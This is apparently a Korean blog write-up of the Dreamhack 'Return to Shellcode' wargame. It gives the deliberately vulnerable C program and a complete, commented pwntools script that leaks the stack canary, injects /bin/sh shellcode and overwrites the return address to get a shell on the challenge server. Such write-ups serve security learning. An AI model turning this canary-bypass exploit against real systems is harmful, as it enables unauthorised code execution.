System Hacking

[System Hacking] - Dreamhack : Return to Shellcode 문제 풀이 (Canary)

Papya_j 2024. 8. 21. 20:57

System Hacking 중 Canary에 대한 문제, 이것을 오늘 풀어보겠다.

문제 파일을 받을 수 있는데 원래의 c코드랑 이것에 해당하는 바이너리 파일 두개가 있다.

 

본 게시글 작성자는 wsl에서 문제를 풀었다.

[문제 분석]

 

우선 r2s에 적용된 보안에 대해서 살펴보자면

amd64를 사용하고 Canary found로 되어있는 것을 확인할 수 있다. 확인 command는 아래와 같다.

checksec r2s

Canary가 잘 걸려있는 것을 확인할 수 있다.

 

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

제공된 c코드는 위와 같다. 

1. buf의 주소 알려줌 -> 편의를 위해 buf 주소와 rbp로 부터 떨어진 주소를 알려준다.

2. buf입력을 두번 받는데, 모두 오버플로우 공격이 가능하다. ( 1. read(0, buf, 0x100 / 2. gets(buf) )

 

위 사항을 통해 처음 입력시 canary를 얻고난 후, 두 번째 입력 시에 canary와 shellcode를 입력한 후에 셸을 얻어서 공격해야 한다.

https://she11.tistory.com/130

-> 카나리 개념 참고에 도움이 많이 된다.


[Write Up]

사용 tool : wsl, pwntools

 

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): #로그 출력을 위한 함수
    return success(': '.join([n, hex(m)]))  #n과 m을 받아서 성공 메시지로 출력. m은 16진수 형식으로 출력.

p = remote('host3.dreamhack.games', 20965)  #remote로 드림핵 wargame 가상 주소와 연결

context.arch = 'amd64'  #아키텍쳐를 amd64로 설정

# [1] Get information about buf
p.recvuntil(b'buf: ')       #서버로 부터 'buf: '라는 문자열을 받을 때까지 데이터 수신
buf = int(p.recvline()[:-1], 16)    #이 다음에 오는 주소를 buf라는 현재 함수의 변수에 저장
slog('Address of buf', buf)     #buf의 주소를 log에 출력

p.recvuntil(b'$rbp: ')      #서버로부터 '$rbp: '라는 문자열을 받을 때까지 데이터 수신
buf2sfp = int(p.recvline().split()[0])    #그 후 값을 정수로 변환하여 저장. buf와 sfp사이의 offset
buf2cnry = buf2sfp - 8              #buf와 canary 사이의 offset
slog('buf <=> sfp', buf2sfp)        #buf와 sfp 사이의 offset 출력
slog('buf <=> canary', buf2cnry)    #buf와 canary 사이의 offset 출력

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) 
# 위 작업은 카나리 유출을 위한 작업. Canary 전까지 A(쓸모없는 값)으로 채움 / (+1)을 하는 이유는-> Canary의 첫번째 바이트는 NULL

p.sendafter(b'Input:', payload) # Input: 프롬프트 이후에 페이로드를 서버로 전송
p.recvuntil(payload)            #payload가 다시 전송될 때까지 데이터 수신
cnry = u64(b'\x00'+p.recvn(7))  #받은 값에 NULL 을 붙여서 결합 후 u64를 통해 64비트 정수로 언팩킹해서 저장
slog('Canary', cnry)            #canary 값 출력

# [3] Exploit
sh = asm(shellcraft.sh())       #/bin/sh를 실행하는 셸코드 생성
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# payload에 저장. (셸코드 + buf2cnry길이만큼 'A'로 패딩 + canary값  64비트 패킹:리틀 엔디언 + 쓸모없는 값으로 8바이트 저장 sfp덮기 위함 + buf의 주소 64비트로 패킹 : 오버플로우)

p.sendlineafter(b'Input:', payload)     #input: 이후 payload 전송

p.interactive()     #셸이 성공적으로 생성되었을 때 사용자가 상호작용할 수 있게 함

작성된 파이썬 코드이다. 기존 Dreamhack 강의 내용의 코드를 그대로 따왔으며 주석으로 모든 코드에 대한 설명을 달아놓았기 때문에 한 줄 한 줄 읽으면 도움이 될 것이다.

 

* 유심히 봐야할 점

1. 카나리 유출 후 덮는 과정

2. u64, p64 사용

 

실행 결과

log로 buf의 주소, buf와 sfp사이의 거리, buf와 canary 사이의 거리, Canary 값이 출력되는 것을 확인할 수 있다.

이후 성공적으로 셸 코드가 인식된 것을 확인할 수 있다.